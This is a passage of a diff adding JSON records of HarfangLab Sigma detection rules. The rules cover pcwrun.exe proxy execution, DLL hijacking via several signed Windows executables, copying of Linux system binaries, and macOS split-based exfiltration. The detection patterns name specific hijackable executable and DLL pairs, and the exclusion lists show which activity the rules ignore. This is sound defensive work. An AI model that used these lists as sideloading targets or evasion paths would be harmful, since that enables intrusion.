exclusion_explorer:\n        ParentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_pca:\n        CommandLine:\n            - '?:\\Windows\\System32\\pcwrun.exe ?:\\\\* PCA'\n            - '?:\\Windows\\System32\\pcwrun.exe \\\\\\\\* PCA'\n        ParentImage:\n            - '?:\\Windows\\System32\\taskhostw.exe'\n            - '?:\\Windows\\System32\\pcaui.exe'\n\n    exclusion_taskmgr:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\pcwrun.exe ?:\\\\* CompatTab'\n            - '?:\\WINDOWS\\system32\\pcwrun.exe \\\\\\\\* CompatTab'\n        ParentImage:\n            - '?:\\Windows\\System32\\Taskmgr.exe'\n            - '?:\\Windows\\System32\\dllhost.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8317c88b-c80b-4c89-8af0-851a7ba8f0ee",
+  "rule_name": "Proxy Execution via pcwrun.exe",
+  "rule_description": "Detects a suspicious execution of the Program Compatibility Wizard (pcwrun.exe) to launch a binary.\nAttackers may abuse pcwrun.exe as a LOLBin to bypass security restrictions.\nIt is recommended to analyze the process responsible for the execution of pcwrun.exe as well as to look for suspicious actions by child processes.\n",
+  "rule_creation_date": "2022-02-04",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8324bb82-ad51-45a4-b7ba-ab3b4f0ef559",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594039Z",
+  "creation_date": "2026-03-23T11:45:34.594042Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594050Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_relog.yml",
+  "content": "title: DLL Hijacking via relog.exe\nid: 8324bb82-ad51-45a4-b7ba-ab3b4f0ef559\ndescription: |\n    Detects potential Windows DLL Hijacking via relog.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'relog.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\pdh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8324bb82-ad51-45a4-b7ba-ab3b4f0ef559",
+  "rule_name": "DLL Hijacking via relog.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via relog.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "833f7622-fa24-4de8-b6f6-a16318c101c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.293944Z",
+  "creation_date": "2026-03-23T11:45:35.293971Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.293987Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.003/T1036.003.md",
+    "https://attack.mitre.org/techniques/T1036/003/"
+  ],
+  "name": "t1036_003_essential_binary_copy_linux.yml",
+  "content": "title: Essential Binary Copied\nid: 833f7622-fa24-4de8-b6f6-a16318c101c5\ndescription: |\n    Detects the execution of the cp command to copy an essential Linux binary to another location.\n    Attackers may rename legitimate system utilities to evade detection mechanisms.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1036.003/T1036.003.md\n    - https://attack.mitre.org/techniques/T1036/003/\ndate: 2022/12/23\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.003\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.SystemModification\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/cp'\n        CommandLine|startswith:\n            - 'cp /bin/'\n            - 'cp /sbin/'\n            - 'cp /usr/bin/'\n            - 'cp /usr/sbin/'\n            - 'cp -? /bin/'\n            - 'cp -? /sbin/'\n            - 'cp -? /usr/bin/'\n            - 'cp -? /usr/sbin/'\n            - 'cp -?? /bin/'\n            - 'cp -?? /sbin/'\n            - 'cp -?? /usr/bin/'\n            - 'cp -?? /usr/sbin/'\n        ParentImage|contains: '?'\n\n    exclusion_rancher:\n        - CommandLine: 'cp -l /* /opt/jail/*'\n          ParentCommandLine:\n            - '/bin/bash /usr/bin/jailer.sh *'\n            - 'rancher *'\n        - Ancestors|contains|all:\n            - '/var/lib/rancher/k3s/'\n            - 'containerd-shim-runc'\n\n    exclusion_mkinitramfs:\n        # cp -pP /bin/kbd_mode /var/tmp/mkinitramfs_2yUr1t//bin/kbd_mode\n        # cp -aZ /sbin/modprobe /sbin/rmmod /var/tmp/mkinitramfs_xrTrMR/sbin/\n        # cp -pP /usr/bin/plymouth /tmp/tmp.YzmyTjnemx/mkinitramfs_lyrlpn//usr/bin/plymouth\n        CommandLine:\n            - 'cp -pP /* /var/tmp/mkinitramfs_??????/*'\n            - 'cp -a *modprobe *rmmod /var/tmp/mkinitramfs_??????/*'\n            - 'cp -aZ */modprobe */rmmod /var/tmp/mkinitramfs_??????/*'\n            - 'cp -pP /* /tmp/tmp.??????????/mkinitramfs_??????//usr/*'\n            - 'cp -aZ */modprobe */rmmod /tmp/*/mkinitramfs_??????/*'\n\n    exclusion_mdadm:\n        CommandLine:\n            - 'cp -pP /sbin/mdmon /run/initramfs//usr/sbin/mdmon'\n            - 'cp -pP /sbin/mdadm /run/initramfs//usr/sbin/mdadm'\n        ParentCommandLine:\n            - '/bin/sh /usr/share/finalrd/mdadm.finalrd setup'\n            - 'run-parts -v --regex=* --arg=setup -- /usr/share/finalrd'\n\n    exclusion_iscsi:\n        CommandLine: 'cp -pP * /run/initramfs/*'\n        ParentCommandLine: '/bin/sh /usr/share/finalrd/open-iscsi.finalrd setup'\n\n    exclusion_debootstrap:\n        ParentCommandLine|startswith: '/bin/sh /usr/sbin/debootstrap'\n\n    exclusion_container:\n        - ProcessGrandparentImage:\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd-shim-runc-v2'\n            - '/usr/bin/crio-conmon'\n        - Ancestors|contains:\n            - '|/usr/bin/dockerd|/usr/lib/systemd/systemd'\n            - '|/usr/bin/dockerd|/lib/systemd/systemd'\n            - '|/usr/bin/containerd-shim|/usr/bin/containerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|/usr/bin/containerd|'\n            - '|/usr/bin/lxc-start|'\n\n    exclusion_finalrd:\n        CommandLine:\n            - 'cp -pP /sbin/kexec /run/initramfs//usr/sbin/kexec'\n            - 'cp -pP /usr/sbin/mdadm /run/initramfs//usr/sbin/mdadm'\n            - 'cp -pP /usr/sbin/mdmon /run/initramfs//usr/sbin/mdmon'\n            - 'cp -pP /usr/sbin/kexec /run/initramfs//usr/sbin/kexec'\n        Ancestors: '/usr/bin/dash|/usr/bin/run-parts|/usr/bin/dash|/usr/lib/systemd/systemd'\n\n    exclusion_apt:\n        Ancestors|contains:\n            - '|/usr/bin/apt|'\n            - '|/usr/bin/apt-get|'\n\n    exclusion_initramfs:\n        ProcessGrandparentCommandLine|startswith: '/bin/sh /usr/sbin/mkinitramfs -o'\n        ProcessParentCommandLine|contains: '/usr/share/initramfs-tools/'\n\n    exclusion_aws:\n        Ancestors|contains: '|/usr/bin/dash|/var/lib/aws-replication-agent/install_agent|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "833f7622-fa24-4de8-b6f6-a16318c101c5",
+  "rule_name": "Essential Binary Copied",
+  "rule_description": "Detects the execution of the cp command to copy an essential Linux binary to another location.\nAttackers may rename legitimate system utilities to evade detection mechanisms.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "835ab8e3-9576-4a3d-adca-f0b02c4521e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588301Z",
+  "creation_date": "2026-03-23T11:45:34.588304Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588312Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nlbmgr.yml",
+  "content": "title: DLL Hijacking via nlbmgr.exe\nid: 835ab8e3-9576-4a3d-adca-f0b02c4521e9\ndescription: |\n    Detects potential Windows DLL Hijacking via nlbmgr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'nlbmgr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\icmp.dll'\n            - '\\mfc42u.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "835ab8e3-9576-4a3d-adca-f0b02c4521e9",
+  "rule_name": "DLL Hijacking via nlbmgr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via nlbmgr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "835cf66a-988d-4be4-a2aa-a2c5d46be227",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098392Z",
+  "creation_date": "2026-03-23T11:45:34.098394Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098398Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tokenbrokercookies.yml",
+  "content": "title: DLL Hijacking via TokenBrokerCookies.exe\nid: 835cf66a-988d-4be4-a2aa-a2c5d46be227\ndescription: |\n    Detects potential Windows DLL Hijacking via TokenBrokerCookies.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'TokenBrokerCookies.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wininet.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "835cf66a-988d-4be4-a2aa-a2c5d46be227",
+  "rule_name": "DLL Hijacking via TokenBrokerCookies.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via TokenBrokerCookies.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8389372f-409b-490b-b28d-b3a408a9728f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093161Z",
+  "creation_date": "2026-03-23T11:45:34.093163Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093167Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wfs.yml",
+  "content": "title: DLL Hijacking via wfs.exe\nid: 8389372f-409b-490b-b28d-b3a408a9728f\ndescription: |\n    Detects potential Windows DLL Hijacking via wfs.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wfs.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\credui.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\PROPSYS.dll'\n            - '\\UxTheme.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n            - '\\windowscodecsext.dll'\n            - '\\winmm.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8389372f-409b-490b-b28d-b3a408a9728f",
+  "rule_name": "DLL Hijacking via wfs.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wfs.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "83d1aed7-0c4a-4e42-961d-3ecc74862e5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617555Z",
+  "creation_date": "2026-03-23T11:45:34.617557Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617561Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1030/"
+  ],
+  "name": "t1030_split_usage_macos.yml",
+  "content": "title: File Chunked via Split\nid: 83d1aed7-0c4a-4e42-961d-3ecc74862e5d\ndescription: |\n    Detects the execution of the split command.\n    Attackers may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds.\n    The split command could be used to split a file in multiple pieces to avoid triggering network data transfer threshold alerts.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1030/\ndate: 2022/11/18\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1030\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Collection\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/split'\n    condition: selection\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "83d1aed7-0c4a-4e42-961d-3ecc74862e5d",
+  "rule_name": "File Chunked via Split",
+  "rule_description": "Detects the execution of the split command.\nAttackers may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds.\nThe split command could be used to split a file in multiple pieces to avoid triggering network data transfer threshold alerts.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2022-11-18",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1030"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "84419344-a6ed-4a37-9c60-2f16ddacf2ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602314Z",
+  "creation_date": "2026-03-23T11:45:34.602318Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602325Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
